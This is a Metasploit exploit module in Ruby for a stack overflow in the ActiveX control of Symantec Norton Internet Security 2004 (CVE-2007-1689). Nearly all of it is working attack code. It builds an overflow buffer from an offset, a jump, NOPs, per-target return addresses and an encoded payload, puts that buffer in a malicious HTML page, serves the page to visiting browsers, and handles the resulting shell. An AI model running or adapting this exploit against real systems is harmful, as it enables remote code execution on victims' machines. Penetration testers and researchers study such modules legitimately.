This Metasploit module exploits a stack overflow in the ISAlertDataCOM ActiveX Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004. By sending a overly long string to the "Get()" method, an attacker may be able to execute arbitrary code.
57eee3404ecbf360b0ad38314d21191b6bf5e3cc2fb2804d4afed6241f22df64##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Norton Internet Security 2004 ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the ISAlertDataCOM ActiveX
Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004.
By sending a overly long string to the "Get()" method, an attacker may be
able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-1689' ],
[ 'OSVDB', '36164'],
[ 'URL', 'http://securityresponse.symantec.com/avcenter/security/Content/2007.05.16.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 272, 'Ret' => 0x71aa32ad } ],
[ 'Windows 2000 Pro English All', { 'Offset' => 272, 'Ret' => 0x75022ac4 } ],
],
'DisclosureDate' => 'May 16 2007',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_alpha(target['Offset']) + Rex::Arch::X86.jmp_short(12)
sploit << make_nops(2) + [target.ret].pack('V') + p.encoded
# Build out the message
content = %Q|
<html>
<object classid='clsid:BE39AEFD-5704-4BB5-B1DF-B7992454AB7E' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.Get(#{strname});
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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